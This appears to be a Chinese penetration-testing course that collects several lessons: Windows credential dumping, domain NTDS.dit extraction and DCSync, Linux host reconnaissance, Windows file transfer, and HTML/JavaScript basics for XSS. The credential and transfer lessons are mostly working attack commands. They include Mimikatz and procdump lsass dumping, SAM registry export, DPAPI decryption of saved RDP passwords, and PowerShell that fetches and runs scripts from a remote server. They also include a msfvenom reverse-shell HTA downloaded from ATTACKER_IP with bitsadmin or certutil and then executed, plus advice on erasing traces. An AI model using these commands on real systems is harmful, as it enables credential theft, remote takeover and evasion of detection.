在本节课中，我们将要学习Windows系统下的密码哈希基础知识，并掌握多种获取系统用户密码凭证的方法。课程内容分为三个主要部分：Windows哈希简介、系统用户密码凭证获取以及其他凭证获取技术。

第一部分：Windows哈希简介

上一节课我们介绍了Windows主机的信息收集。本节中，我们来看看Windows系统如何存储和处理用户密码。

什么是Windows哈希？

Windows哈希可以简单理解为Windows加密过的密码口令。用户输入的明文密码（例如 admin123）会经过特定的加密算法处理，生成一串哈希值。

Windows系统主要使用两种哈希处理方法：

  • LM哈希 (LAN Manager Hash)：一种较旧的加密方式，存在安全缺陷，密码最大长度为14位。
  • NTLM哈希 (NT LAN Manager Hash)：新版Windows系统默认使用的更安全的加密方式。

核心公式/概念：

  • LM_Hash = Encrypt_LM(明文密码)
  • NTLM_Hash = Encrypt_NTLM(明文密码)

在存储时，Windows密码哈希通常由两部分组成，格式为：
用户名:RID:LM哈希:NTLM哈希:::
例如：Administrator:500:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0:::

用户SID与RID：
每个Windows用户都有一个唯一的安全标识符（SID）。RID（相对标识符）是SID的最后一部分，用于区分同一域或计算机内的不同用户。例如，本地管理员账户的RID通常是500。

Windows认证基础

Windows系统主要有三种认证方式：

  1. 本地认证：用户直接登录到计算机本地账户。
  2. 网络认证：用户远程访问工作组内其他计算机的共享资源。
  3. 域认证：用户登录到域环境中的某台计算机。

本地认证流程简述：

  1. 用户输入用户名和密码。
  2. 系统将输入的密码计算成NTLM哈希值。
  3. 系统从本地的SAM数据库文件中读取该用户存储的哈希值。
  4. 比对两个哈希值，一致则登录成功。

SAM数据库文件路径：C:\Windows\System32\config\SAM
负责处理密码的进程：lsass.exe

使用Python生成NTLM哈希示例：

import hashlib
def ntlm_hash(text):
    return hashlib.new('md4', text.encode('utf-16le')).hexdigest()
password = "admin123"
print(ntlm_hash(password)) # 输出NTLM哈希值

第二部分：系统用户密码凭证获取

理解了哈希的基本概念后，本节我们将学习十种获取系统密码哈希或明文凭证的实用方法。

以下是获取系统用户密码凭证的十种方法：

  1. Mimikatz工具
    Mimikatz是一款功能强大的凭证提取工具。它可以直接从lsass.exe进程内存中提取明文密码和哈希值。
    • 非交互式获取哈希：mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit
    • 非交互式获取明文密码：mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit

  1. PowerShell脚本加载Mimikatz
    通过PowerShell远程或本地加载Mimikatz的PS1脚本执行。

    powershell -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://your-vps/Invoke-Mimikatz.ps1'); Invoke-Mimikatz"

  2. PowerShell脚本获取哈希
    使用专门的PowerShell脚本直接导出哈希。

    powershell -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://your-vps/Get-PassHashes.ps1')"

  3. WCE (Windows Credentials Editor)
    另一款知名的哈希管理工具，直接运行可执行文件即可获取哈希。

    wce.exe -w

  1. Pwdump系列工具
    例如Pwdump7，运行后自动导出哈希到文件。
    PwDump7.exe > hashes.txt
type hashes.txt

  1. Ophcrack + 彩虹表
    如果在线网站无法破解哈希，可以使用Ophcrack工具配合彩虹表进行离线破解。

  1. Procdump + Mimikatz
    利用微软官方工具Procdump导出lsass.exe进程内存，再用Mimikatz分析，常用于绕过杀毒软件。
    procdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" exit

  1. 注册表导出哈希
    从注册表中导出存储哈希值的条目，再用工具解析。
    reg save HKLM\SYSTEM system.hiv
reg save HKLM\SAM sam.hiv
mimikatz.exe "lsadump::sam /system:system.hiv /sam:sam.hiv" exit

  1. Meterpreter (MSF) 内置模块
    在获得Meterpreter会话后，可以使用内置模块获取哈希。
    meterpreter > getsystem
meterpreter > hashdump
# 或加载Mimikatz模块
meterpreter > load mimikatz
meterpreter > msv
meterpreter > kerberos

  1. Cobalt Strike 内置命令
    在Cobalt Strike的Beacon会话中，可以直接执行命令获取哈希或调用Mimikatz。
    beacon> hashdump
beacon> logonpasswords
beacon> mimikatz sekurlsa::logonpasswords

工具上传与执行思路（以CS/MSF为例）：
当通过CS或MSF获得一个Shell后，若想使用上述第三方工具（如wce.exe）：

  1. 使用upload命令将工具上传到目标机器。
  2. 在Shell中执行该工具，并将输出重定向到文件。
  3. 使用type或cat命令查看文件内容，或直接下载文件到本地分析。

第三部分：其他凭证获取技术

除了系统用户密码，系统中还保存着许多其他有价值的凭证。本节我们来看看如何获取它们。

1. RDP连接记录与密码解密

远程桌面（RDP）连接历史记录中可能保存着通往其他内网机器的凭据。

获取RDP连接记录：
可以使用PowerShell脚本获取。

powershell -exec bypass -f Get-RDPConnection.ps1

也可以通过查询注册表获取：

reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s

解密保存的RDP密码：
如果用户在连接时勾选了“保存凭据”，密码会加密存储在以下位置：
%USERPROFILE%\AppData\Local\Microsoft\Credentials\ 或 %USERPROFILE%\AppData\Roaming\Microsoft\Credentials\

解密步骤：

  1. 使用Mimikatz列出凭据文件并获取对应的GUID MasterKey。
    mimikatz.exe "dpapi::cred /in:C:\Users\[用户名]\AppData\Local\Microsoft\Credentials\[凭据文件GUID]" exit
  2. 使用获取的GUID MasterKey查找对应的MasterKey。
    mimikatz.exe "sekurlsa::dpapi" exit
  3. 使用MasterKey解密凭据文件，获取明文密码。
    mimikatz.exe "dpapi::cred /in:[凭据文件路径] /masterkey:[MasterKey]" exit

2. PPTP VPN口令获取

如果目标机器配置了PPTP VPN连接，可以尝试获取其连接口令。

  1. VPN配置信息通常位于：%USERPROFILE%\AppData\Roaming\Microsoft\Network\Connections\Pbk\rasphone.pbk
  2. 使用Mimikatz提取lsass.exe中的秘密，可能包含VPN明文密码。
    mimikatz.exe "privilege::debug" "sekurlsa::vpn" exit

3. MySQL数据库密码破解

在获取Web服务器权限后，可以尝试获取MySQL数据库密码。

  1. 定位密码哈希：MySQL用户密码哈希存储在数据库目录的user.MYD文件中（路径通常为mysql\data\mysql\）。
  2. 提取哈希：使用二进制编辑器（如WinHex）打开user.MYD文件，查找长字符串哈希值（形如*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B）。
  3. 破解哈希：
    • 在线网站：直接在cmd5等网站查询。
    • Hashcat工具：
      hashcat -m 300 -a 3 [哈希值] ?a?a?a?a?a?a
# -m 300 指定MySQL 4.1/5.x 哈希类型
    • John the Ripper工具：
      john --format=mysql-sha1 [包含哈希的文件]

4. 常见软件密码获取

许多软件会将密码保存在本地或注册表中。可以使用LaZagne这类全能工具进行抓取。

laZagne.exe all

该工具支持获取浏览器、数据库客户端、Wi-Fi、邮件客户端、Git、SVN等多种软件的保存密码。

课程总结

本节课中我们一起学习了：

  1. Windows哈希基础：了解了LM哈希和NTLM哈希的概念、格式以及Windows本地认证的基本流程。
  2. 十种凭证获取方法：从使用经典的Mimikatz、PowerShell脚本，到利用MSF、CS等框架的内置功能，系统性地掌握了获取Windows系统用户密码哈希和明文的各种技术。
  3. 其他凭证扩展：学习了如何获取和解密RDP连接密码、PPTP VPN口令，以及如何破解MySQL数据库密码和获取常见软件保存的密码。

核心要点在于：在Windows系统中，密码凭证可能以哈希形式存储在SAM数据库或lsass.exe进程内存中，也可能以加密形式保存在注册表或特定文件里。获取这些凭证是内网横向移动的关键步骤。请大家务必在授权环境下多加练习，熟练掌握这些工具和方法的原理与使用。

课程P57：第22天 - 域内密码凭证获取及解密 🔐

在本节课中，我们将学习如何从域控制器中获取存储所有域用户密码哈希的关键文件（NTDS.dit），并掌握多种解密该文件以提取哈希值的方法。这是域渗透中获取凭证、进行横向移动和权限维持的关键步骤。

概述

活动目录数据库文件 NTDS.dit 存储着域内所有用户、组及其密码哈希等核心信息。由于Windows系统会阻止对该文件的直接访问和复制，我们需要利用特殊的技术来获取它。获取文件后，还需使用特定工具解密才能得到可用的密码哈希。

上一节我们介绍了域内信息收集的基本方法，本节中我们来看看如何获取并解密这个核心的凭证数据库。

第一部分：获取NTDS.dit文件

NTDS.dit 文件默认位于域控制器的 C:\Windows\NTDS\ 目录下。Windows会锁定此文件，阻止直接复制。因此，我们需要利用“卷影复制服务”（Volume Shadow Copy Service, VSS）来创建该文件的副本。

以下是几种利用VSS获取文件的方法：

1. 使用 ntdsutil 工具

ntdsutil 是Windows自带的Active Directory管理命令行工具，可用于创建快照并复制文件。

交互式方法（理解流程）：
打开命令提示符（cmd），按顺序执行以下命令：

ntdsutil
snapshot
activate instance ntds
create
mount {快照GUID}

执行 mount 命令后，系统会返回一个挂载路径（如 C:\$SNAP_202203211134_VOLUMEC$\）。通过此路径即可访问并复制 NTDS.dit 文件。操作完成后，需卸载并删除快照：

unmount {快照GUID}
delete {快照GUID}
quit
quit

非交互式方法（实战常用）：
以下命令可一行完成创建快照、复制文件、清理痕迹的操作：

ntdsutil "ac i ntds" "snapshot" "create" "mount {GUID}" "copy C:\$SNAP_{GUID}_VOLUMEC$\Windows\NTDS\ntds.dit C:\ntds.dit" "unmount {GUID}" "delete {GUID}" quit quit

2. 使用 vssadmin 工具

vssadmin 同样是系统自带的卷影副本服务管理工具。

以下是使用步骤：

  1. 列出已有快照：vssadmin list shadows
  2. 为系统盘创建新快照：vssadmin create shadow /for=C:
  3. 复制文件。命令会返回“卷影副本装载点”（如 \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1）。使用copy命令复制文件：
    copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\ntds.dit
  4. 删除快照：vssadmin delete shadows /shadow={快照ID}

3. 使用 diskshadow 工具

diskshadow 是微软官方工具，功能强大。通常需要从Windows SDK中获取或使用预编译版本。

基本使用命令如下：

diskshadow /s script.txt

其中 script.txt 文件内容包含创建快照、暴露卷、复制文件的指令。

4. 使用 NinjaCopy (PowerShell脚本)

Invoke-NinjaCopy 是一个PowerShell脚本，它不依赖VSS服务，因此不会产生相关事件日志，更为隐蔽。

在CS中加载并使用：

  1. 将脚本上传到目标主机，或在CS中远程加载：
    powershell-import /path/to/Invoke-NinjaCopy.ps1
  2. 执行脚本复制文件：
    powershell Invoke-NinjaCopy -Path "C:\Windows\NTDS\ntds.dit" -LocalDestination "C:\ntds.dit"
    同样可以复制 SYSTEM 注册表文件：-Path "C:\Windows\System32\config\SYSTEM"

注意： 解密 NTDS.dit 通常需要同时获取 SYSTEM 注册表文件，其中包含解密所需的密钥。

第二部分：解密NTDS.dit文件

获取 NTDS.dit 和 SYSTEM 文件后，我们需要使用工具从中提取用户密码哈希。

1. 使用 Quarks PwDump

这是一个Windows凭据提取工具，可以离线处理 NTDS.dit 文件。

QuarksPwDump.exe --dump-hash-domain --ntds-file c:\ntds.dit --output ntds-hashes.txt

2. 使用 Impacket 套件中的 secretsdump.py

Impacket是渗透测试中常用的Python工具集。secretsdump.py 可以解析本地文件。

python3 secretsdump.py -system SYSTEM.reg -ntds ntds.dit LOCAL

或者使用编译好的exe版本：

secretsdump.exe -system SYSTEM.reg -ntds ntds.dit LOCAL

3. 使用 NTDSDumpEx

这是一个高效的专用工具，可以快速提取信息。

NTDSDumpEx.exe -d ntds.dit -s SYSTEM.reg -o hashes.txt

4. 使用 Mimikatz (DCSync攻击 - 在线提取)

无需下载文件，Mimikatz可以利用域控制器同步协议（DCSync）直接从在线域控拉取指定用户的哈希。

在CS中执行Mimikatz命令：

  • 获取域内所有用户哈希：
    mimikatz lsadump::dcsync /domain:mingy.com /all /csv
  • 获取特定用户（如krbtgt）的哈希（用于黄金票据攻击）：
    mimikatz lsadump::dcsync /domain:mingy.com /user:krbtgt

注意： DCSync攻击需要域用户权限，且该用户拥有复制目录更改的权限（默认域管理员组有此权限）。

总结

本节课我们一起学习了域渗透中获取密码凭证的核心技术。首先，我们了解了 NTDS.dit 文件的重要性及其受保护的特性。接着，我们掌握了多种绕过保护、获取该文件的方法，包括使用 ntdsutil、vssadmin、diskshadow 等系统工具以及 Invoke-NinjaCopy PowerShell脚本。最后，我们学习了使用 Quarks PwDump、Impacket-secretsdump、NTDSDumpEx 等工具解密文件，以及利用 Mimikatz 进行在线DCSync攻击来直接提取哈希值。

获取到的域用户密码哈希是后续进行横向移动、权限维持（如票据攻击）的基础。请务必在授权环境下练习这些技术，并理解其原理。

🐧 课程P58：Linux主机信息收集教程

在本节课中，我们将学习如何在Linux系统上进行主机信息收集。信息收集是网络安全评估和渗透测试中的关键步骤，它能帮助我们了解目标系统的配置、运行的服务、用户信息以及潜在的安全风险。与Windows系统不同，Linux系统在全球服务器中占据主导地位，掌握其信息收集方法至关重要。

🖥️ 系统架构与版本信息

上一节我们概述了课程目标，本节中我们来看看如何收集Linux系统的基本架构和版本信息。

以下是用于收集系统信息的核心命令：

  • uname -a: 打印所有系统相关信息。-a参数表示输出全部信息。其他常用参数包括：
    • -s: 输出内核名称（如 Linux）。
    • -n: 输出网络节点主机名。
    • -r: 输出内核发行版本。
    • -v: 输出内核版本信息。
    • -m: 输出机器硬件名称。
    • -o: 输出操作系统名称。
  • cat /etc/issue: 查看包含系统标识和登录提示信息的文本文件。此文件内容可在登录前自定义。
  • cat /etc/*-release: 查看系统发行版本信息。不同Linux发行版的文件名不同：
    • Debian系（如Ubuntu, Kali）: cat /etc/lsb-release
    • Red Hat系（如CentOS）: cat /etc/redhat-release 或 cat /etc/centos-release
  • cat /proc/version: 查看Linux内核的详细版本、编译所用的GCC版本以及编译时间等信息。

🔄 进程信息收集

了解了系统基本信息后，我们来看看如何查看和管理系统上运行的进程。

以下是用于查看和管理进程的命令：

  • ps -elf 或 ps -aux: 列出当前系统所有进程的详细信息。常用组合是 ps -elf | grep [进程名] 来过滤查找特定进程。
    • PID: 进程ID，用于唯一标识进程。
    • CMD: 进程对应的命令或程序名。
  • /proc/[PID]/ 目录: /proc 是一个虚拟文件系统，每个运行进程的PID对应一个目录，其中包含了该进程的运行时信息（如内存映射、环境变量等）。例如，ls -l /proc/1234/ 可以查看PID为1234的进程相关信息。
  • top 命令: 实时动态显示系统中各个进程的资源占用状况（如CPU、内存），并可按资源使用率排序。这对于监控系统性能和发现异常高资源占用的进程非常有用。

👥 用户与组信息

进程由用户运行，因此了解系统用户和组信息是信息收集的重要一环。

以下是用于收集用户和组信息的命令：

  • id: 显示当前用户的UID（用户ID）、GID（组ID）以及所属的组。
  • w: 显示当前登录到系统的用户信息，包括用户名、登录来源IP、登录时间等。
  • whoami: 显示当前登录用户的用户名。
  • last: 显示系统最近的用户登录记录，包括用户名、登录终端、来源IP和登录/登出时间。
  • lastlog: 显示所有用户最后一次登录的信息。
  • cat /etc/passwd: 查看系统所有用户账户信息。每行格式为 username:x:UID:GID:comment:home_directory:shell。
    • x 表示密码哈希已移至 /etc/shadow 文件。
    • UID 为0表示root用户。
    • 最后字段指定了用户登录后使用的默认shell（如 /bin/bash），若为 /usr/sbin/nologin 则表示该用户不允许登录。
  • cat /etc/shadow: 查看用户的加密密码哈希（仅root用户可读）。此文件权限通常为 -r--------，即只有root可读。
  • cat /etc/sudoers: 查看哪些用户被授予了 sudo 权限，可以临时以root身份执行命令。注意： 请使用 visudo 命令安全编辑此文件，不要直接使用文本编辑器。

🔐 SSH服务信息

SSH是远程管理Linux服务器的标准协议，其配置信息至关重要。

以下是SSH相关的关键文件和目录：

  • ~/.ssh/authorized_keys: 存放用于公钥认证的授权公钥。配置后可以实现免密码登录。
    • 生成密钥对：ssh-keygen -t rsa
    • 将公钥（id_rsa.pub）内容追加到目标服务器的 ~/.ssh/authorized_keys 文件中。
  • ~/.ssh/known_hosts: 存储本机通过SSH连接过的远程主机公钥，用于主机验证。
  • /etc/ssh/sshd_config: SSH服务端的主配置文件。重要配置项包括：
    • PermitRootLogin: 是否允许root用户通过SSH登录。
    • Port: SSH服务监听的端口（默认为22）。
  • 服务管理命令:
    • 查看服务状态：service ssh status 或 systemctl status ssh
    • 启动/停止/重启服务：service ssh start/stop/restart 或 systemctl start/stop/restart ssh

🛡️ 防火墙与网络配置

系统安全与网络配置紧密相关，了解防火墙规则和网络设置是信息收集的一部分。

以下是网络和防火墙相关命令：

  • ifconfig 或 ip addr: 查看网络接口配置信息，如IP地址、MAC地址等。
  • hostname: 查看系统主机名。
  • netstat -tulpn: 查看网络连接、路由表和网络接口统计信息。常用参数组合：
    • -t: TCP协议
    • -u: UDP协议
    • -l: 仅显示监听套接字
    • -p: 显示进程标识符和程序名称
    • -n: 以数字形式显示地址和端口号
    • 例如，netstat -tulpn | grep :22 查找监听22端口（SSH）的进程。
  • iptables: Linux系统自带的防火墙工具。
    • 查看规则：iptables -L
    • 清空规则链：iptables -F
    • 添加规则示例（允许ICMP/ping）：iptables -A INPUT -p icmp -j ACCEPT
    • 添加规则示例（允许访问80端口）：iptables -A INPUT -p tcp --dport 80 -j ACCEPT
  • 网络配置文件:
    • /etc/resolv.conf: DNS解析器配置文件，可临时添加 nameserver 8.8.8.8。
    • /etc/hosts: 静态主机名与IP地址映射文件。
    • /etc/network/interfaces (Debian/Ubuntu) 或 /etc/sysconfig/network-scripts/ifcfg-eth0 (RHEL/CentOS): 网络接口配置文件，用于配置静态IP等。

📝 历史记录与日志文件

系统日志和历史命令记录了用户和系统的活动痕迹，是事后分析和取证的关键。

以下是相关文件和命令：

  • history: 显示当前用户执行过的命令历史记录。这些记录通常保存在 ~/.bash_history 文件中。
  • /var/log/ 目录: 系统日志文件集中存放的目录。
    • /var/log/auth.log 或 /var/log/secure: 认证相关日志（如SSH登录成功/失败）。
    • /var/log/syslog 或 /var/log/messages: 系统通用日志。
    • /var/log/apache2/access.log 或 /var/log/nginx/access.log: Web服务器访问日志。
    • /var/log/apt/history.log: 软件包安装卸载历史（Debian系）。

🔍 文件与目录查找

在Linux中，快速定位特定文件或目录是常见需求。

以下是 find 命令的常用示例：

  • 查找具有SUID权限的文件：find / -perm -u=s -type f 2>/dev/null
    • -perm -u=s: 查找文件所有者权限中包含SUID位（s）的文件。
    • -type f: 指定查找对象为文件。
    • 2>/dev/null: 将错误信息（如权限不足）重定向到空设备，使输出更清晰。
  • 查找全局可写目录：find / -type d -perm -o=w 2>/dev/null
    • -type d: 指定查找对象为目录。
    • -perm -o=w: 查找其他用户（others）有写权限（w）的目录。
  • 查找特定扩展名的文件：find / -name "*.txt" 2>/dev/null

⏰ 计划任务

计划任务（cron）用于定时执行任务，了解现有任务有助于发现潜在的后门或自动化脚本。

以下是计划任务相关文件：

  • crontab -l: 列出当前用户的计划任务。
  • cat /etc/crontab: 查看系统级的计划任务配置文件。
  • ls -la /etc/cron.*/: 查看 /etc/cron.hourly/, /etc/cron.daily/ 等目录下的定时任务脚本。
  • ls -la /var/spool/cron/crontabs/: 查看各用户的个人计划任务文件（如 root 文件对应root用户的任务）。

本节课中我们一起学习了Linux系统信息收集的各个方面，从系统版本、进程、用户到网络配置、日志和计划任务。掌握这些命令和文件位置，是进行Linux系统安全评估、故障排查和日常管理的基础。请务必在授权环境下进行练习，并理解每个命令的作用。课后建议在自己的Linux虚拟机中逐一尝试这些命令，以加深理解。

课程P59：第25天：Windows系统下的文件传输 📁➡️💻

在本节课中，我们将学习在Windows系统环境下进行内网文件传输的几种常用方法。掌握这些技术对于渗透测试和网络安全工作至关重要。

概述

文件传输是内网渗透中的常见需求。当我们获得一个初始立足点（例如一个Shell）后，通常需要将工具或Payload上传到目标机器以进一步行动。本节将介绍三种在Windows系统下实现文件传输的方法。

FTP文件传输协议

首先，我们介绍使用FTP协议进行文件传输。FTP是标准的文件传输协议，Windows系统通常自带FTP客户端。

核心命令：在命令行中，可以使用 ftp 命令启动客户端。

以下是利用FTP从攻击机下载文件到目标机的步骤：

  1. 在攻击机上使用Python快速搭建一个FTP服务器。
    python3 -m pyftpdlib -p 2121
  2. 在已获得Shell的目标机上，编写一个FTP脚本文件。
    echo open 192.168.1.100 2121 > ftp.txt
echo anonymous >> ftp.txt
echo >> ftp.txt
echo get malicious.exe >> ftp.txt
echo quit >> ftp.txt
  3. 在目标机上执行该脚本，自动连接FTP服务器并下载文件。
    ftp -s:ftp.txt

注意事项：FTP服务若配置不当（如允许匿名登录且目录权限过大），可能被攻击者利用来上传恶意文件。

Bitsadmin命令行工具

上一节我们介绍了FTP，本节我们来看看Windows自带的另一个强大工具——Bitsadmin。它是一个命令行工具，可用于创建、监视和管理文件下载/上传作业。

以下是使用Bitsadmin下载远程文件的步骤：

  1. 首先，在攻击机上生成一个恶意Payload（例如一个HTA文件）。
    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=4444 -f hta-psh -o shell.hta
  2. 将该文件放置在攻击机可通过HTTP访问的目录（如Web服务器根目录）。
  3. 在目标机的Shell中，使用Bitsadmin命令下载该文件。
    bitsadmin /transfer myjob /download /priority high http://ATTACKER_IP/shell.hta C:\Windows\Temp\shell.hta
  4. 文件下载完成后，使用rundll32执行HTA文件以反弹Shell。
    rundll32.exe url.dll, OpenURL C:\Windows\Temp\shell.hta

命令解析：/transfer 参数用于创建传输作业，myjob是作业名称，/download指定为下载操作，后面跟随远程URL和本地保存路径。

Certutil证书工具

除了Bitsadmin，Windows系统还自带一个名为Certutil的工具，它本是用于管理证书的命令行程序，但也可被用来下载文件。

以下是使用Certutil下载文件的方法：

  1. 在目标机的Shell中，直接使用Certutil命令下载远程文件。
    certutil -urlcache -split -f http://ATTACKER_IP/shell.exe C:\Windows\Temp\shell.exe
  2. 命令执行成功后，文件即被下载到指定路径。

重要提醒：使用Certutil下载文件后，会在以下目录留下缓存：
C:\Users\[用户名]\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content
渗透测试完成后，应注意清理相关痕迹。

总结

本节课我们一起学习了在Windows系统下进行内网文件传输的三种方法：

  1. 利用FTP协议：通过搭建简易FTP服务器和编写脚本实现自动化下载。
  2. 使用Bitsadmin工具：利用系统自带工具创建下载作业，适合下载后直接执行Payload。
  3. 利用Certutil程序：借助证书管理工具的功能实现文件下载，但会留下缓存痕迹。

每种方法都有其适用场景，在实际渗透测试中，需要根据目标环境的具体情况（如网络策略、工具可用性）灵活选择和组合使用。理解这些基本原理是进行有效内网渗透的基础。

课程P6：第4天 - HTML与JavaScript前端基础 🧱

在本节课中，我们将要学习跨站脚本攻击（XSS）漏洞所依赖的前端基础知识。理解HTML和JavaScript是分析XSS漏洞的前提，因此本节课将系统性地介绍这两种核心的Web前端技术。

概述：Web请求与前后端

一次完整的Web请求是从浏览器发送到服务器端的过程。我们日常访问网站，就是在浏览器地址栏输入一个URL，然后向服务器发送请求。

在浏览器这一端，我们能看到并与之交互的界面，就是由前端代码构成的。例如，打开一个网页（如“和天实验室”主页），右键“查看源代码”，所看到的代码就是其前端代码。这些代码主要涉及HTML和JavaScript语言。

服务器端则可能使用PHP、Java、.NET等语言进行业务逻辑处理，并可能与数据库交互以实现数据持久化。例如，SQL注入漏洞就主要发生在与数据库交互的环节。

跨站脚本攻击（XSS）漏洞主要发生在前端，因此我们首先需要打好前端基础。

第一部分：HTML概述 📄

上一节我们了解了Web应用的基本架构，本节中我们来看看构成网页骨架的HTML。

什么是HTML？

HTML（HyperText Markup Language，超文本标记语言）是一种用于创建网页的标准标记语言。它通过一系列“标签”来标记网页中的不同部分（如标题、段落、图片），从而定义网页的结构和内容。

HTML文件是文本文件，但其后缀名为 .html 或 .htm。这种文件可以直接由浏览器打开并执行。

HTML文档基础骨架

一个最基本的HTML文档结构如下：

<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8">
        <title>页面标题</title>
    </head>
    <body>
        <p>这是一个段落。</p>
    </body>
</html>

以下是各部分说明：

  • <!DOCTYPE html>： 文档类型声明，告诉浏览器这是一个HTML5文档。
  • <html> 和 </html>： 根标签，包裹了整个HTML文档。
  • <head> 和 </head>： 文档头部，包含页面的元信息（如字符编码、标题），不会直接显示在页面主体中。
  • <body> 和 </body>： 文档主体，包含所有会显示在网页上的内容。

Head 头部标签详解

头部（<head>）主要包含页面的元信息。以下是两个常用标签：

  1. <title> 标签： 定义浏览器标签页上显示的标题。
    <title>和天安实验室 - 国内大型在线实验室</title>
  2. <meta> 标签： 提供关于HTML文档的元数据。最常用的功能是设置字符编码，防止中文乱码。
    <meta charset="UTF-8">

Body 主体常用标签

主体（<body>）内的标签定义了网页的可见内容。以下是部分常用标签：

  • 段落与文本：
    <p> 标签定义一个段落。
    <p>这是一个段落文本。</p>
  • 超链接：
    <a> 标签定义一个超链接。href 属性指定链接地址，target="_blank" 表示在新标签页打开。
    <a href="https://www.baidu.com" target="_blank">百度一下</a>
  • 图片：
    <img> 标签用于嵌入图像。src 属性指定图片地址，alt 属性提供图片加载失败时的替代文本。
    <img src="image.jpg" alt="图片加载失败提示">
  • 布局容器：
    <div> 是块级元素，常用于布局容器。<span> 是行内元素，用于对文本的一部分进行样式设置。
  • 列表：
    HTML支持有序列表、无序列表和定义列表。
    <!-- 无序列表 -->
<ul>
    <li>Coffee</li>
    <li>Milk</li>
</ul>
<!-- 有序列表 -->
<ol>
    <li>第一步</li>
    <li>第二步</li>
</ol>
  • 表格：
    <table> 标签定义表格。<tr> 定义行，<td> 定义单元格。
    <table border="1">
    <tr>
        <td>第一行，第一列</td>
        <td>第一行，第二列</td>
    </tr>
</table>

表单（Form）与输入控件

表单用于收集用户输入，并将数据提交到服务器进行处理，例如登录功能。

以下是表单的基本结构：

<form action="submit.php" method="get">
    <label for="username">用户名：</label>
    <input type="text" id="username" name="user"><br>
    <label for="pwd">密码：</label>
    <input type="password" id="pwd" name="password"><br>
    <input type="submit" value="登录">
</form>

  • <form> 标签： 定义表单区域。action 属性指定数据提交到的服务器地址，method 属性定义提交方法（GET或POST）。
  • <input> 标签： 定义输入控件，其形态由 type 属性决定。
  • <label> 标签： 为输入控件定义标签，提升用户体验。点击标签文字也能选中对应的输入框。

GET与POST提交方式的区别：

  • GET： 表单数据会附加在URL之后，格式为 ?参数1=值1&参数2=值2。在地址栏可见，长度有限制。
  • POST： 表单数据被嵌入在HTTP请求的请求体中，在地址栏不可见，更适合提交敏感或大量数据。

以下是几种常见的输入控件类型：

文本输入框: <input type="text" name="fname">
密码输入框: <input type="password" name="pwd">
单选按钮: <input type="radio" name="gender" value="male"> 男
复选框: <input type="checkbox" name="hobby" value="reading"> 阅读
下拉列表:
<select name="city">
    <option value="gz">广州</option>
    <option value="sz" selected>深圳</option>
</select>
提交按钮: <input type="submit" value="提交">
重置按钮: <input type="reset" value="重置">
多行文本域: <textarea name="message" rows="5" cols="30"></textarea>

HTML 实体字符

在HTML中，一些字符具有特殊含义（如 < 和 > 用于定义标签），不能直接在浏览器中显示。为了安全地显示这些字符，需要使用实体字符。

例如，我们希望页面显示文本“<h1>标签”，而不是将其解析为标题标签。如果直接写入：

<p>我是<h1>标签哦</p>

浏览器会将其中的 <h1> 解析为标题标签。为了正确显示，需要将其编码为实体字符：

<p>我是&lt;h1&gt;标签哦</p>
  • < 的实体名称是 &lt;
  • > 的实体名称是 &gt;

实体字符有两种表示方式：实体名称（如 &lt;）和实体编号（如 &#60;）。这在XSS防御中非常重要，通过将用户输入的特殊字符转换为实体字符，可以防止其被浏览器解析为可执行的HTML代码。

第二部分：JavaScript概述 ⚙️

上一节我们学习了构成网页结构的HTML，本节中我们来看看让网页“动”起来的JavaScript。

JavaScript是一种在浏览器中运行的脚本语言，主要用于实现网页的动态效果和与用户的交互。它与Java没有直接关系，是一种解释型语言，代码直接嵌入在HTML中。

JavaScript 在 HTML 中的引入方式

有三种主要方式将JavaScript代码引入HTML页面：

  1. 内嵌脚本： 直接在 <script> 标签内编写代码。
    <script>
    var test = "1234";
    alert(test); // 弹出警告框，显示“1234”
</script>
  2. 外部脚本： 通过 <script> 标签的 src 属性引入外部的 .js 文件。
    <script src="myScript.js"></script>
  3. 事件属性： 在HTML标签的事件属性（如 onclick）中直接编写少量代码。
    <button onclick="alert('你好！')">点击我</button>

文档对象模型（DOM）操作

DOM（Document Object Model）是将HTML文档表示为树形结构（节点树）的标准模型。JavaScript可以通过DOM来访问、操作HTML元素。

以下是使用JavaScript操作DOM的常见示例：

  • 获取元素内容：
    <p id="demo">JavaScript基础</p>
<script>
    var x = document.getElementById("demo"); // 获取id为“demo”的元素
    alert("id为demo的内容是：" + x.innerHTML); // 获取其内部HTML内容并弹出
</script>
  • 修改元素内容：
    var x = document.getElementById("demo");
x.innerHTML = "JavaScript真好玩！"; // 将元素内容修改为新文本
  • 动态写入内容：
    document.write("<p>当前时间是：" + Date() + "</p>"); // 向文档直接写入HTML
  • 响应用户事件：
    <h1 id="text">点击下方链接</h1>
<a href="#" onclick="changeText(this)">点击这里</a>
<script>
    function changeText(element) {
        document.getElementById("text").innerHTML = "欢迎参加Web安全工程师的学习！";
    }
</script>
    常用事件还包括 onmouseover（鼠标悬停）、onchange（内容改变）等。

浏览器对象模型（BOM）操作

BOM（Browser Object Model）允许JavaScript与浏览器窗口进行交互。

以下是BOM的一些常见应用：

  • 弹出对话框：
    alert("这是一个警告框"); // 警告框，只有一个确定按钮
confirm("确定要删除吗？"); // 确认框，有确定和取消按钮
prompt("请输入你的名字", "默认值"); // 提示框，可输入信息
    在XSS漏洞验证中，能够弹出这些对话框是证明漏洞存在的常见方式。
  • 获取Cookie信息：
    alert(document.cookie); // 弹出当前页面的Cookie信息
    Cookie常用于身份验证，获取他人Cookie可能导致“会话劫持”。
  • 获取浏览器及页面信息：
    console.log(screen.width); // 获取屏幕宽度
console.log(location.href); // 获取当前页面的完整URL

总结 🎯

本节课中我们一起学习了XSS漏洞的前端技术基础。

